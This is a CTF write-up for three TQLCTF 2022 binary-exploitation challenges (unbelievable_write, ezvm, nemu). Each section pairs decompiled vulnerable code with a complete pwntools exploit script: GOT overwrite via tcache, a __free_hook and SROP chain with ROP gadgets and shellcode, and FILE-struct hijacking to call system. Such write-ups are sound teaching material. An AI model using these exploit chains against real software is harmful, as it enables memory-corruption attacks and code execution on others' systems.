TQLCTF 2022 partial writeups

TOC

  1. 1. unbelievable_write
    1. 1.1. Status
    2. 1.2. Vulnerability
    3. 1.3. Idea
    4. 1.4. Question
    5. 1.5. Exploit
  2. 2. ezvm
    1. 2.1. Status
    2. 2.2. Vulnerability
    3. 2.3. Exploit
  3. 3. nemu
    1. 3.1. Status
    2. 3.2. Vulnerability
    3. 3.3. Idea
    4. 3.4. Exploit

File: tqlctf2022.zip

unbelievable_write

Status

$ checksec unbelievable
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

Vulnerability

void c2()
{
char **v0; // rbx
int v1; // eax

if ( golden == 1 )
{
golden = 0LL;
v0 = (char **)ptr;
v1 = read_int();
free((char *)v0 + v1);
}
else
{
puts("no!");
}
}

We can free() any address except which one is larger than 0x100000000.

Idea

  1. free(tcache_perthread_struct)
  2. tamper with target (.data:0000000000404080)

Question

void c1()
{
unsigned int size; // [rsp+4h] [rbp-Ch]
void *size_4; // [rsp+8h] [rbp-8h]

size = read_int();
if ( size <= 0xF || size > 0x1000 )
{
puts("no!");
}
else
{
size_4 = malloc(size);
readline((__int64)size_4, size);
free(size_4);
}
}

The idea that I try to tamper with the target directly is probably the first to occur to me. But it will call free(size_4) after readline((__int64)size_4, size); which the target is tampered with, at the same time terrible to keep the address of size_4 unchanged, then follows that the program breaks down in free.

There is no choice except to figure out this trouble, what I do is to tamper with free.got before the target.

.got.plt:0000000000404018 off_404018      dq offset free          ; DATA XREF: _free+4↑r
.got.plt:0000000000404020 off_404020 dq offset puts ; DATA XREF: _puts+4↑r

It is available to modify free.got into puts.plt, but at the same time essential to keep open.got invariable because of modification from tcache .

Exploit

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

context.arch = 'amd64'
sh = process('./unbelievable')

def c1(size, content):
sh.sendlineafter(b'> ', b'1')
sh.sendline(str(size).encode())
sh.sendline(content)

def c2(size):
sh.sendlineafter(b'> ', b'2')
sh.sendline(str(size).encode())

def c3():
sh.sendlineafter(b'> ', b'3')

c2(-0x290)

c1(0x280, b'\0\0' * 8 + p16(1) + p16(1) + b'\0\0' * 54 + p64(0) * 8 + p64(0x404018) + p64(0x404080))


c1(0x90, p64(0x4010f0) + p64(0x0000000000401040))
c1(0xa0, p64(0))

c3()

sh.interactive()

ezvm

Status

$ checksec easyvm
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$ ldd easyvm
linux-vdso.so.1 (0x00007fffc94e3000)
libunicorn.so.1 => /lib/x86_64-linux-gnu/libunicorn.so.1 (0x00007f4137a52000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f4137a2f000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f413783d000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007f41376ee000)
/lib64/ld-linux-x86-64.so.2 (0x00007f4138503000)
$ seccomp-tools dump ./easyvm
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW

Vulnerability

// 00000000 struct_fd       struc ; (sizeof=0x48, mappedto_8)
// 00000000 ; XREF: .data:struct_file/r
// 00000000 fileno dq ?
// 00000008 name db 24 dup(?)
// 00000020 malloc_buf dq ?
// 00000028 malloc_size dq ?
// 00000030 read_func dq ? ; XREF: fd_read+66/o
// 00000030 ; fd_read+6D/r ; offset
// 00000038 write_func dq ? ; XREF: fd_write+66/o
// 00000038 ; fd_write+6D/r ; offset
// 00000040 close_func dq ? ; XREF: fd_free+5B/o
// 00000040 ; fd_free+62/r ; offset
// 00000048 struct_fd ends


size_t __fastcall fd_malloc(const char *filename, unsigned __int64 malloc_size)
{
unsigned __int64 size; // [rsp+0h] [rbp-20h]
int i; // [rsp+14h] [rbp-Ch]
int j; // [rsp+14h] [rbp-Ch]
struct_fd *item; // [rsp+18h] [rbp-8h]

size = malloc_size;
for ( i = 0; i <= 15; ++i )
{
if ( !strcmp(struct_file[i].name, filename) )
return struct_file[i].fileno;
}
if ( count_fd > 15 )
return 0xFFFFFFFFLL;
if ( malloc_size > 0x400 )
size = 1024LL;
for ( j = 0; j <= 15 && struct_file[j].name[0]; ++j )
;
item = &struct_file[j];
item->malloc_buf = (__int64)malloc(size);
strcpy(item->name, filename);
item->read_func = (ssize_t (__fastcall *)(struct_fd *, void *, size_t))malloc_read;
item->write_func = (ssize_t (__fastcall *)(_QWORD *, const void *, size_t))malloc_write;
item->close_func = malloc_close;
item->fileno = j;
++count_fd;
item->malloc_size = size;
return item->fileno;
}

// .text:0000000000001B9A call _strcpy

There is an off-by-one vulnerability at .text:0000000000001B9A, in which the length of filename and struct_fd->name both are 24. It looks secure but when the length of the filename is 24 because of strcpy‘s truncation which results in the unexpected modification of address of the struct_fd->malloc_buf . It will be more secure to use strncpy(item->name, filename, sizeof(item->name)) instead of strcpy(item->name, filename) .

Exploit

It shows more details, which were in annotation, in the following code.

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal

context.arch = 'amd64'
sh = process('./easyvm')

payload = asm('''

sub rsp, 0x800
mov r13, rsp
mov r14, rsp
add r14, 0x400


;// write(STDOUT_FILENO, malloc(0x40), 0x18); -> fd 3
;// malloc(0x40) comes from unsortbin at this time.

;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax

mov edi, 0
mov rsi, r13
mov edx, 0x100
mov eax, 0
syscall

mov rdi, r13
mov esi, 0x40
mov eax, 2
syscall

mov edi, 3
mov rsi, r13
mov edx, 0x18
mov eax, 0
syscall

mov edi, 1
mov rsi, r13
mov edx, 0x18
mov eax, 1
syscall


;// malloc(0x40); -> fd 4

;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax

mov edi, 0
mov rsi, r13
mov edx, 24
mov eax, 0
syscall

mov rdi, r13
mov esi, 0x40
mov eax, 2
syscall


;// malloc(0x40); -> fd 5

;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax

mov edi, 0
mov rsi, r13
mov edx, 24
mov eax, 0
syscall

mov rdi, r13
mov esi, 0x40
mov eax, 2
syscall


;// malloc(0xf0); -> fd 6

;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax

mov edi, 0
mov rsi, r13
mov edx, 24
mov eax, 0
syscall

mov rdi, r13
mov esi, 0xf0
mov eax, 2
syscall


;// close(fd 4);
;// close(fd 5);

mov edi, 4
mov eax, 3
syscall

mov edi, 5
mov eax, 3
syscall


;// read(STDIN_FILENO, fd 6, 0x38);
;// Here it will tamper with tcache_entry->next which size is 0x40.

;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax

mov edi, 0
mov rsi, r13
mov edx, 0x38
mov eax, 0
syscall

mov edi, 6
mov rsi, r13
mov edx, 0x38
mov eax, 1
syscall


;// malloc(0x40); -> fd 4

;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax

mov edi, 0
mov rsi, r13
mov edx, 24
mov eax, 0
syscall

mov rdi, r13
mov esi, 0x40
mov eax, 2
syscall


;// malloc(0x40); -> fd 5
;// Get __free_hook address.

;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax

mov edi, 0
mov rsi, r13
mov edx, 24
mov eax, 0
syscall

mov rdi, r13
mov esi, 0x40
mov eax, 2
syscall


;// read(STDIN_FILENO, fd 5, 8);
;// Change __free_hook into printf

;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax

mov edi, 0
mov rsi, r13
mov edx, 8
mov eax, 0
syscall

mov edi, 5
mov rsi, r13
mov edx, 8
mov eax, 1
syscall


;// printf("%246$p#");

;// "%246$p#"
mov rax, 0x23702436343225
push rax
mov edi, 1
mov rsi, rsp
mov edx, 7
mov eax, 1
syscall
pop rax


;// Change __free_hook into gets

mov rax, 0x21ce0
add [r13], rax

mov edi, 5
mov rsi, r13
mov edx, 8
mov eax, 1
syscall


;// Prepare for SROP

mov rdi, r13
mov esi, 0xc0
mov eax, 2
syscall

mov edi, 7
mov eax, 3
syscall


;// Change __free_hook into ret

mov rax, 0x61477
sub [r13], rax

mov edi, 5
mov rsi, r13
mov edx, 8
mov eax, 1
syscall


;// Change __free_hook into setcontext as gets() happens.

;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax

mov edi, 0
mov rsi, r14
mov edx, 0x3e1
mov eax, 0
syscall

mov rdi, r13
mov esi, 0x300
mov eax, 2
syscall

mov rax, 0x61477
sub [r13], rax

mov rdi, r13
mov esi, 0x300
mov eax, 2
syscall

;// "$ "
push 0x2024
mov edi, 1
mov rsi, rsp
mov edx, 2
mov eax, 1
syscall
pop rax

mov edi, 8
mov rsi, r14
mov edx, 0x300
mov eax, 1
syscall


hlt

''')

sh.sendlineafter(b'Send your code:\n', payload)

sh.sendafter(b'$ ', b'/dev/tttt\0')

result = u64(sh.recvn(8))
libc_addr = result - 0x1ec1f0
success('libc_addr: ' + hex(libc_addr))

sh.recvn(8)
result = u64(sh.recvn(8))
heap_addr = result - 0x31b20
success('heap_addr: ' + hex(heap_addr))

sh.sendafter(b'$ ', b'/dev/1\0')
sh.sendafter(b'$ ', b'/dev/2\0')

sh.sendafter(b'$ ', b'a' * 24)
# __free_hook
sh.sendafter(b'$ ', b'b' * 0x28 + p64(0x51) + p64(libc_addr + 0x1eeb28))

sh.sendafter(b'$ ', b'/dev/3\0')
sh.sendafter(b'$ ', b'/dev/4\0')

# printf
sh.sendafter(b'$ ', p64(libc_addr + 0x64e10))

sh.recvuntil(b'0x')
result = int(sh.recvuntil(b'#', drop=True), 16)
stack_addr = result
success('stack_addr: ' + hex(stack_addr))

sh.send(b'\n\n\n')
sh.sendline(b'\0' * 0xd0 + p64(stack_addr-0xf0))
sh.send(b'\n')

layout = [
libc_addr + 0x0000000000026b72, #: pop rdi; ret;
stack_addr & (~0xfff),
libc_addr + 0x0000000000027529, #: pop rsi; ret;
0x2000,
libc_addr + 0x0000000000162866, #: pop rdx; pop rbx; ret;
7, 0,
libc_addr + 0x000000000004a550, #: pop rax; ret;
0xfffffffffffffffa,
libc_addr + 0x000000000013e47a, #: add eax, 0x10; ret;
libc_addr + 0x0000000000066229, #: syscall; ret;
stack_addr - 0x90,
]

shellcode = asm('''
mov eax, 0x67616c66 ;// flag
push rax

mov rdi, rsp
xor eax, eax
mov esi, eax
mov al, 2
syscall ;// open

push rax
mov rsi, rsp
xor eax, eax
mov edx, eax
inc eax
mov edi, eax
mov dl, 8
syscall ;// write open() return value

pop rax
test rax, rax
js over

mov edi, eax
mov rsi, rsp
mov edx, 0x01010201
sub edx, 0x01010101
xor eax, eax
syscall ;// read

mov edx, eax
mov rsi, rsp
xor eax, eax
inc eax
mov edi, eax
syscall ;// write

over:
xor edi, edi
mov eax, 0x010101e8
sub eax, 0x01010101
syscall ;// exit
''')
sh.sendafter(b'$ ', flat(layout) + shellcode)

sh.interactive()

nemu

Status

$ checksec nemu
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
$ ldd nemu
linux-vdso.so.1 => (0x00007ffc3dfe5000)
libreadline.so.6 => /lib/x86_64-linux-gnu/libreadline.so.6 (0x00007f4d61dcb000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f4d61a01000)
libtinfo.so.5 => /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007f4d617d8000)
/lib64/ld-linux-x86-64.so.2 (0x00007f4d62011000
$ ./nemu
[src/monitor/monitor.c,47,load_default_img] No image is given. Use the default build-in image.
Welcome to NEMU!
[src/monitor/monitor.c,30,welcome] Build time: 09:41:16, Jan 26 2022
For help, type "help"
(nemu) help
help - Display informations about all supported commands
c - Continue the execution of the program
q - Exit NEMU
si - Execute the step by one
info - Show all the regester' information
x - Show the memory things
p - Show varibeals and numbers
w - Set the watch point
d - Delete the watch point
set - Set memory

Because it is an i386 debugger, we can’t just access the high address which is larger than 0x100000000.

Vulnerability

(nemu) set 0xabcd0000 0
Segmentation fault (core dumped)

The memory that is accessed could be out-of-bound.

Idea

  1. Leak necessarily information
  2. Hijach FILE struct
void __fastcall exec_wrapper(bool print_flag)
{
__int64 v1; // rax
__int64 v2; // rax
vaddr_t seq_eip; // eax
char strbuf[512]; // [rsp+0h] [rbp-228h] BYREF
unsigned __int64 v5; // [rsp+208h] [rbp-20h]

v5 = __readfsqword(0x28u);
decoding.p = (_BYTE *)(&decoding + 264);
decoding.p = (char *)((int)__sprintf_chk(141183016LL, 1LL, 128LL, "%8x: ", cpu.eip) + 141183016LL);
decoding.seq_eip = cpu.eip;
exec_real(&decoding.seq_eip);
__sprintf_chk(decoding.p, 1LL, -1LL, "%*.s", -3 * (decoding.seq_eip - cpu.eip) + 38, "");
v1 = __stpcpy_chk(strbuf, 141183016LL, 512LL);
v2 = __stpcpy_chk(v1, 141182936LL, 512LL);
__memcpy_chk(141183016LL, strbuf, v2 - (_QWORD)strbuf + 1, 128LL);
if ( log_fp )
{
__fprintf_chk(log_fp, 1LL, "%s\n", decoding.asm_buf);
fflush(log_fp);
}
if ( print_flag )
puts(decoding.asm_buf);
seq_eip = decoding.seq_eip;
if ( decoding.is_jmp )
{
seq_eip = decoding.jmp_eip;
decoding.is_jmp = 0;
}
cpu.eip = seq_eip;
}

// .bss:00000000086A3B98 ; FILE *log_fp
// .bss:00000000086A3B98 log_fp dq ? ; DATA XREF: exec_wrapper+DF↑r

If log_fp is not NULL, then it will call __fprintf_chk(log_fp, 1LL, "%s\n", decoding.asm_buf);. So we can hijack log_fp to tamper with flow.

Exploit

#!/usr/bin/python3
# -*- coding:utf-8 -*-

from pwn import *
import os, struct, random, time, sys, signal, math

context.arch = 'i386'
sh = process('./nemu')

def set_mem(addr, value):
sh.sendlineafter(b'(nemu) ', b'set ' + str(addr).encode() + b' ' + str(value).encode())

sh.sendlineafter(b'(nemu) ', b'si')
sh.sendlineafter(b'(nemu) ', b'x 0x8000040')
sh.recvuntil(b'0x')
sh.recvuntil(b'0x')
sh.recvuntil(b'0x')
heap_addr = int(sh.recvline(), 16) - 0x530
success('heap_addr: ' + hex(heap_addr))

sh.sendlineafter(b'(nemu) ', b'x ' + hex(heap_addr + 0x908 - 0x6a3b80).encode())
sh.recvuntil(b'0x')
sh.recvuntil(b'0x')
sh.recvuntil(b'0x')
libc_addr = int(sh.recvline(), 16)
sh.sendlineafter(b'(nemu) ', b'x ' + hex(heap_addr + 0x90c - 0x6a3b80).encode())
sh.recvuntil(b'0x')
sh.recvuntil(b'0x')
sh.recvuntil(b'0x')
libc_addr = int(sh.recvline(), 16) * 0x100000000 + libc_addr - 0x3c4ce8
success('libc_addr: ' + hex(libc_addr))


set_mem(0, 0xfbad2a84 | 0x1000)
set_mem(4, 0x68733b)
set_mem(0x70, 1)
set_mem(0x88, 0x6a3b80+0x1000)
set_mem(0xd8, 0x6a3b80+0x2000)
system = libc_addr + 0x453a0
success('system: ' + hex(system))
set_mem(0x2000 + 0x38, system % 0x100000000)
set_mem(0x2000 + 0x3c, system // 0x100000000)

set_mem(0x86A3B98 - 0x6a3b80, 0x6a3b80)
sh.sendlineafter(b'(nemu) ', b'si')
sh.recvuntil(b'not found')

sh.interactive()